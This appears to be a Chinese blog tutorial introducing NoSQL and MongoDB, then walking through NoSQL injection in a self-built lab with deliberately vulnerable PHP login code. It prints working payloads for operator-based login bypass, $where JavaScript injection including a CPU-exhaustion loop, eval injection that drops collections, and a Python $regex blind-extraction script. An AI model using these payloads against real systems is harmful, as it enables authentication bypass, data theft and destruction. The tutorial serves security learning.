首页 / 自学资源

Nosql Injection

发布时间:2023-11-20 20:49:06

Nosql Injection

什么是Nosql

Nosql即Not Only SQL,意为“不仅仅是SQL”。

Nosql的拥护者们提倡运用非关系型数据存储,相对于铺天盖的关系型数据库运用,这一概念无疑是一种全新的思维的注入。

关系型与非关系型

关系型数据库

使用严格定义的表结构和SQL查询语言来组织与存储结构化数据。

非关系型数据库

非关系型数据库则灵活采用数据模型来存储结构化、半结构化或非结构化数据,并使用各种查询语言。

结构化、半结构化、非结构化

结构化数据示例

结构化数据是指哪些遵循固定格式的数据,通常由表格的行和列组成。

这种数据类型可以轻松的在关系型数据库中存储和查询,因为它们遵循严格的模式(schema)。

一个典型的结构化数据例子是客户信息数据库。

在这个数据库中,数据被组织成多列,如下所示:

CustomerIdFirstNameLastNameEmailPhone
1001JohnDoejohn.doe@may.com18542045802
1002JaneSmithjane.smith@may.com19338502930
1003BobJohnsonbob.johnson@may.com18440482048

这个表有明确的列名,每列数据的类型(如文本、数据)都是预定义的,而且每行数据都遵守相同的结构。

半结构化数据示例

介于结构化和非结构化数据之间的半结构化数据,它不符合数据库的结构化要求,但仍然包含与结构化数据相关的标签或其他标记来分隔语义元素,并支持层次或序列的数据组织。

具体而言,半结构化数据包括但不限于json、xml、csv、yaml等数据,这些数据既不是严格结构化的,又不是完成非结构化的,它们通常具有一些组织属性,比如标签或键值对。

json

{
  "name""John Doe",
  "age"30,
  "email""john.doe@example.com",
  "address": {
    "street""123 Main St",
    "city""Anytown",
    "state""CA"
  },
  "phoneNumbers": [
    {
      "type""home",
      "number""212 555-1234"
    },
    {
      "type""office",
      "number""646 555-4567"
    }
  ]
}

xml

<person>
  <name>John Doe</name>
  <age>30</age>
  <email>john.doe@example.com</email>
  <address>
    <street>123 Main St</street>
    <city>Anytown</city>
    <state>CA</state>
  </address>
  <phoneNumbers>
    <phoneNumber type="home">212 555-1234</phoneNumber>
    <phoneNumber type="office">646 555-4567</phoneNumber>
  </phoneNumbers>
</person>

csv

Name,Age,Email
John Doe,30,john.doe@example.com
Jane Smith,25,jane.smith@example.com
Bob Johnson,40,bob.johnson@example.com

yaml

user:
  name: John Doe
  age: 30
  email: john.doe@example.com

非结构化数据

文本文档

To be, or not to be, that is the question:
Whether 'tis nobler in the mind to suffer
The slings and arrows of outrageous fortune,
Or to take arms against a sea of troubles
And by opposing end them.

任何形式的自由格式报告、文章或书籍都是非结构化文本。它们可能有段落、标题等格式化元素,但这些元素并不为数据提供可解析的结构。

图像和视频

图像和视频都携带了大量信息,但没有加内在的、用于机器解析的数据结构。

音频记录

音频文件,如歌曲、博客,通常被认为是非结构化的,因为它们的内容没有内部数据结构

理解结构化

上述提到的所有数据,在我的理解中似乎都可以使用文本的方式存储在数据库中,比如音频,即使他是非结构化的二进制,但也可以对其进行base64编码后存储到数据库中由应用程序解码后使用,为了解决这个疑惑,问了一下gpt

![image-20231111100821348](/Users/may/Library/Application Support/typora-user-images/image-20231111100821348.png)

讨论结构化与非结构化数据时,我们是在谈论数据的组织和分析的角度,而不仅仅是它的存储形式

Mongodb

什么是MongoDB

MongoDB是当前最流行的NoSQL数据库产品之一,由C++语言编写,是一个基于分布式文件存储的数据库。旨在为WEB应用提供可扩展的高性能数据存储解决方案

MongoDB将数据存储为一个文档,数据结构由键值key=>value对组成

文档存储在集合中,这两个概念类似于mysql中的数据和表

安装MongoDB

拉取镜像

docker pull mongo:latest

创建mongo数据持久化目录

mkdir -p ~/Project/mongodb/data/

创建容器 --auth启用认证 此时登录mongodb必须使用密码

docker run -itd --name mongo -v ~/Project/mongodb/data:/data/db -p 27017:27017 mongo --auth

进入容器 执行mongo

root@e56534cdcc8f:/# docker exec -it mongo mongo
MongoDB shell version v5.0.5
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("418e4207-6a76-446b-a2f1-b493e8212813") }
MongoDB server version: 5.0.5
================
Warning: the "mongo" shell has been superseded by "mongosh",
which delivers improved usability and compatibility.The "mongo" shell has been deprecated and will be removed in
an upcoming release.
For installation instructions, see
https://docs.mongodb.com/mongodb-shell/install/
================
---
The server generated these startup warnings when booting:
        2023-11-11T02:45:05.966+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
---
        Enable MongoDB's free cloud-based monitoring service, which will then receive and display
        metrics about your deployment (disk utilization, CPU, operation statistics, etc).

        The monitoring data will be available on a MongoDB website with a unique URL accessible to you
        and anyone you share the URL with. MongoDB may use this information to make product
        improvements and to suggest MongoDB products and deployment options to you.

        To enable free monitoring, run the following command: db.enableFreeMonitoring()
        To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
>

MongoDB基础

创建数据库

与mysql不同的是,mongo不需要显式的创建数据库。当第一次向一个不存在的数据库写入数据时,mongodb就会自动创建这个数据库。

我们可以使用use mydb来使用mydb这个不存在的数据库,在写入第一条数据时(创建集合),这个数据库会被创建。

use mydb
switched to db mydb

创建集合

集合(Collection)类似于关系型数据库中的表。在mongodb中,可以在写入数据时隐式地创建集合,或者使用db.createCollection(name)显式创建

> db.createCollection("users")
{ "ok" : 1 }
show collections;
users

插入文档

文档是MongoDB数据的基本单元,类似于JSON对象。要向集合中插入文档,可以使用db.<collectionName>.insert()

> db.users.insert({name"Alice", age: 25, email: "alice@example.com"})
WriteResult({ "nInserted" : 1 })

如果要插入多条数据,则需要把文档放入数组中

> > db.users.insert([{name"Alice", age: 25, email: "Alice@example.com"},{name"May", age: 20, email: "may@qq.com"}])
BulkWriteResult({
 "writeErrors" : [ ],
 "writeConcernErrors" : [ ],
 "nInserted" : 2,
 "nUpserted" : 0,
 "nMatched" : 0,
 "nModified" : 0,
 "nRemoved" : 0,
 "upserted" : [ ]
})

查询数据

检索所有文档

> db.users.find()
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }
{ "_id" : ObjectId("654ef54b9abf964de8905306"), "name" : "May", "age" : 20, "email" : "may@qq.com" }

使用查询条件

> db.users.find({age:{$gt:20}})
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }

查询操作符

MongoDB提供了一系列对查询操作符,用于更复杂的条件:

1.比较操作符:如$gt大于,$lt小于,$eq等于,$ne不等于

> db.users.find({age:{$gt:20}})
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }

2.逻辑操作符:如$and,$or,$not,$nor

> db.users.find({ $and: [{ age: { $gt: 20 } }, { name: "Alice" }] })
{ "_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice", "age" : 25, "email" : "Alice@example.com" }

更新数据

这里只演示了修改已有字段的值,使用到了update方法的$set操作符

> db.users.update({name"Alice"},{$set:{age: 26}})
WriteResult({ "nMatched" : 1"nUpserted" : 0"nModified" : 1 })
> db.users.find({age:26})
"_id" : ObjectId("654ef54b9abf964de8905305"), "name" : "Alice""age" : 26"email" : "Alice@example.com" }

删除数据

> db.users.remove({name:"Alice"})
WriteResult({ "nRemoved" : 1 })
> db.users.find()
{ "_id" : ObjectId("654ef54b9abf964de8905306"), "name" : "May", "age" : 20, "email" : "may@qq.com" }

MongoDB练习

创建users数据库,创建all_users集合

use users
switched to db users
> db.createCollection("all_users")
"ok" : 1 }

插入一个文档(一条数据)

> db.all_users.insert({name'whoami',
                      description: 'the admin user',
                      age: 19,
                      status'A',
                      groups: ['admins','users']
                      })
WriteResult({ "nInserted" : 1 })

更新数据,将age19改为20,这里的find()后还使用了pretty()方法,这可以让json数据格式化输出

> db.all_users.update({'age':19},{$set:{'age':20}})
WriteResult({ "nMatched" : 1"nUpserted" : 0"nModified" : 1 })
> db.all_users.find().pretty()
{
 "_id" : ObjectId("654f26a49abf964de890530b"),
 "name" : "whoami",
 "description" : "the admin user",
 "age" : 20,
 "status" : "A",
 "groups" : [
  "admins",
  "users"
 ]
}

在执行结果中,我们会发现这条update语句只会修改第一条发现的文档

如果需要修改多条相同的文档,则需要设置multi参数为true

> db.all_users.update({age:19},{$set:{'age':20}})
WriteResult({ "nMatched" : 1"nUpserted" : 0"nModified" : 1 })

MongoDB与RDMBS Where语句的比较

如果熟悉常规的SQL语句,通过下表可以更好的理解MongoDB的条件语句查询

操作格式范例RDMBS类似语句
等于{:value}db.users.find({"name":"whoami}).pretty()where name = 'whoami'
小于{:{$lt:}}db.users.find({"age":{$lt:19}}).pretty()where age < 19
小于或等于{:{$lte:}}db.users.find({"age":{$lte:19}}).pretty()where age <= 19
大于{:{$gt:}}db.users.find({"age":{$gt:19}}).pretty()where age > 19
大于或等于{:{$gte:}}db.users.find({"age":{$gte:19}}).pretty()where age >=19
不等于{:{$ne:}}db.users.find({"age":{$ne:19}}).pretty()where age !=19

MongoDB AND条件

MongoDB的find()方法可以传入多个键值对,每个键值对以逗号分隔,即常规SQL的AND条件

db.all_users.find({"status":"A","age":20})

以上实例相当于RDMBS中的WHERE语句:where status='A' and age=20

MongoDB OR条件

MongoDB OR条件语句使用了关键字$or来表示,语法格式如下:

> db.col.find(
   {
      $or: [
         {key1: value1}, {key2:value2}
      ]
   }
).pretty()

AND和OR联合使用

以下实例类似于RDBMS中等where语句:where age > 19 and (name='whoami' or status='B')

> db.all_users.find({age:{$gt:19},
                    $or:[{"name":"whoami"},{"status":"B"}]})
{ "_id" : ObjectId("654f26a49abf964de890530b"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
{ "_id" : ObjectId("654f29bb1431771fc2de54ea"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
{ "_id" : ObjectId("654f29bd1431771fc2de54eb"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
{ "_id" : ObjectId("654f29be1431771fc2de54ec"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }

NoSQL Injection

NoSQL注入分类的方式

第一种是按照语言的分类,可以分为PHP数组住入、JavaScript注入和Mongo Shell拼接住入等

第二种是按照攻击机制分类,可以分为重言式注入、联合查询注入、JavaScript注入、盲注等

  • 重言式注入

    又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制

  • 联合查询注入

    联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集

  • JavaScript注入

    MongoDB Server支持JavaScript,这使得在数据引擎进行复杂事物和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的JavaScript代码,导致非法的数据获取或篡改

  • 盲注

    当页面没有回显时,可以通过$regex正则表达式来达到和传统SQL注入中substr()函数相同的功能,而且Nosql用到的基本上都是布尔盲注

PHP中的MongoDB注入

docker-compose

version: '3'

services:
  # PHP 服务定义
  php:
    image: php7.4.21 # 使用你构建的 PHP 镜像名称
    ports:
      - "80:80" # 根据需要映射端口,这里示例将容器的 80 端口映射到宿主机的 80 端口
    depends_on:
      - mongodb # 确保 MongoDB 服务在 PHP 服务之前启动
    build:
      ./php7.4.21/
    networks:
      - app-network

  # MongoDB 服务定义
  mongodb:
    image: mongo-4.4.7 # 使用你构建的 MongoDB 镜像名称
    environment:
      MONGO_INITDB_ROOT_USERNAME: root # 根据你的设置修改
      MONGO_INITDB_ROOT_PASSWORD: toor # 根据你的设置修改
    ports:
      - "27017:27017" # 将 MongoDB 的 27017 端口映射到宿主机
    build:
      ./MongoDB4.4.7/
    networks:
      - app-network

# 定义网络
networks:
  app-network:
    driver: bridge

php Dockerfile

FROM php:7.4.21-fpm-alpine

RUN apk add --no-cache nginx
RUN mkdir -p /run/nginx
RUN apk add --no-cache autoconf g++ make openssl-dev && \
    pecl install mongodb && \
    docker-php-ext-enable mongodb


COPY src/ /var/www/html/
COPY config/nginx.conf /etc/nginx/nginx.conf
COPY start.sh /start.sh

RUN chmod +x /start.sh
WORKDIR /var/www/html

EXPOSE 80
ENTRYPOINT [ "/start.sh" ]

mongodb Dockerfile

FROM mongo:4.4.7
EXPOSE 27017
CMD ["mongod"]

docker-compose up -d

-> docker-compose up -d
 ✔ Network nosqlinjection_app-network  Created                                                                                 0.0s 
 ✔ Container nosqlinjection-mongodb-1  Started                                                                                 0.0s 
 ✔ Container nosqlinjection-php-1      Started 

进入mongodb容器 往test集合的users文档中写入几条数据

use test
switched to db test
> db.createCollection('users')
"ok" : 1 }
> db.users.insert({username:'admin'password:'123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username:'whoami'password:'657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username:'may',password:'toor'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username:'test',password:'test'})
WriteResult({ "nInserted" : 1 })

编写index.php

<?php
$manager = new MongoDB\Driver\Manager("mongodb://root:toor@mongodb:27017/admin");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

重言式注入

当正常用户想要登陆may用户时,post数据如下

username=may&password=toor

进入php程序后的数组如下

array(2) { 
  ["username"]=> string(3"may" 
  ["password"]=> string(4"toor" 
     } 

进入MongoDB后执行的语句如下

> db.users.find({username:'may',password:'toor'})
{ "_id" : ObjectId("6551d20505bcd71b4e1249a0"), "username" : "may", "password" : "toor" }

由于程序没有对传递进入的数据做任何过滤处理,若用户传递以下参数

username[$ne]=1&password[$ne]=1

Post Data传递给php将会以键值对的方式进行解析 若键名中存在[]则会进一步解析成多维数组

由此进入php程序后的数组如下

array(2) {
  ["username"]=>
  array(1) {
    ["$ne"]=> string(1"1"
  }
  ["password"]=>
  array(1) {
    ["$ne"]=> string(1"1"
  }
}

进入MongoDB后执行的语句如下

> db.users.find({'username':{$ne:1},'password':{$ne:1}})
{ "_id" : ObjectId("6551d176f2e8e5b79054d30f"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("6551d18df2e8e5b79054d310"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("6551d20505bcd71b4e1249a0"), "username" : "may", "password" : "toor" }
{ "_id" : ObjectId("6551d20e05bcd71b4e1249a1"), "username" : "test", "password" : "test" }

由于users集合中的所有数据username和password都不为1

所以所有文档数据都将被导出

我们也可以使用以下payload进行攻击

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

重言式注入通常也是判断页面是否存在注入的第一步

JavaScript注入

MongoDB Server是支持JavaScript的,可以使用JavaScript进行一些复杂事务和查询,也允许在查询的时候的时候执行JavaScript代码。

$where操作符

$where操作符可以用来执行JavaScript代码 将Javascript表达式的字符串或函数作为查询语句的一部分。

在MongoDB 2.4之前,通过$where操作符使用map-reducegroup命令甚至可以访问到Mongo Shell中的全局函数和属性,如db,也就是说可以在自定义的函数里获取数据库的所有信息。

如下实例:

> db.users.find({$where:"function(){return(this.username=='whoami')}"}).pretty()
{
 "_id" : ObjectId("6551d18df2e8e5b79054d310"),
 "username" : "whoami",
 "password" : "657260"
}

由于使用了$where关键字,其后面的JavaScript将会执行并返回"whoami",然后将查询出username为whoami的数据。

易受攻击的PHP应用程序在构建MongoDB查询时可能会直接插入未经过处理的用户输入,例如从变量$userData获取查询条件:

db.users.find({$where:"function(){return(this.username==$userData)}"})

攻击者可以注入恶意字符串如'may';sleep(5000),此时MongoDB执行对查询语句为:

db.users.find({$where:"function(){return(this.username=='may' && sleep(5000));}"})

此时服务器有5s的延迟则说明注入成功

编写index.php进行测试

<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongodb:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { 
    var username = '"
.$username."';
    var password = '"
.$password."';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
};
$query = new MongoDB\Driver\Query(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['username']."
<br>";
        echo 'password: '.$user['password']."
<br>";
    }
}
else{
    echo 'Login Failed';
}
?>

当前所使用的MongoDB版本为4.4.7 已经无法访问到db属性 可以使用下面展示的方法作为万能密码

username=1&password=1';return true//
username=1&password=1';return true;var a='1

传递到php后的数据如下

array(
    '$where' => "
    function() { 
        var username = '1';
        var password = '1';return true;var a='1';
        if(username == 'admin' && password == '123456'){
            return true;
        }else{
            return false;
        }
    }
"
)

进入MongoDB后执行的语句为

>  db.users.find({$where: "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})
{ "_id" : ObjectId("6551d176f2e8e5b79054d30f"), "username" s: "admin", "password" : "123456" }
{ "_id" : ObjectId("6551d18df2e8e5b79054d310"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("6551d20505bcd71b4e1249a0"), "username" : "may", "password" : "toor" }
{ "_id" : ObjectId("6551d20e05bcd71b4e1249a1"), "username" : "test", "password" : "test" }

password中的return true让JavaScript提前结束并返回了True,这样就构造了一个永真的条件从而造成了Nosql注入

下面是一个会造成dos攻击的paylaod

username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1

这个循环是CPU密集型的,因为它连续不断地计算时间差,没有任何暂停或等待,这会导致在这5秒内CPU使用率急剧上升。

使用command方法造成的注入

MongoDB Driver提供直接执行shell命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用。

在MongoDB服务器端可以通过db.eval方法来执行JavaScript脚本,如我们可以定义一个JavaScript函数,然后通过db.eval在服务端来运行

但是在PHP官网中就已经友情提醒了不要这样使用

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );

还有人喜欢用Command去实现MongoDB的distinct方法,如下

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];

$cmd = new MongoDB\Driver\Command( [
    'eval' => "db.users.distinct('username',{'username':'$username'})"
] );

$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

这相当于把Mongo Shell开放给了用户 如果此时构造下列payload

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

这可以直接访问到db对象 如果此时数据库的权限够高 拿我们能做的事就更多了

布尔盲注

当页面没有回显时,我们可以通过$regex正则表达式来进行注入,$regex可以达到和传统SQL注入中substr()函数相同的功能。

我们还是利用第一个index.php进行演示

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码长度

username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......

此处的正则如.{4}用于匹配4个长度的字符串

password[$regex]=.{6}时可以成功登陆,password[$regex]=.{7}时登录失败,说明该admin用户的密码长度为6

image-20231115112744118
image-20231115112925394

提交的数据进入php后如下:

array(
    'username' => 'admin',
    'password' => array('$regex' => '.{6}')
)

进入MongoDB后的数据如下:

> db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
> db.users.find({'username':'admin', 'password':{$regex:'.{7}'}})

因为admin用户的密码长度为6,所以查询条件{'username':'admin', 'password':{$regex:'.{6}'}}为真,便能成功登陆

{'username':'admin', 'password':{$regex:'.{7}'}}为假,自然也就登陆不了

知道password长度后就要开始逐个提取字符,上帝视角以admin的密码123456逐个提取为例

username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
#这种方法与mysql盲注中的substr()方法类似

username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
#这种方法类似于mysql中的LIKE

一个盲注脚本

import requests
import string

password = ''
url = 'http://127.0.0.1/index.php'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|','#','&','$']:
      get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
      post_payload = {
        "username""admin",
        "password[$regex]" : '^' + password +c
      }
      json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
      #headers = {'Content-Type': 'application/json'}
      #r = requesrs.post(url=url,headers=headers,data=json_payload)
      r = requests.post(url=url,data=post_payload)
      if 'Login Success' in r.text:
        print("[+] %s" % (password + c))
        password += c

相关推荐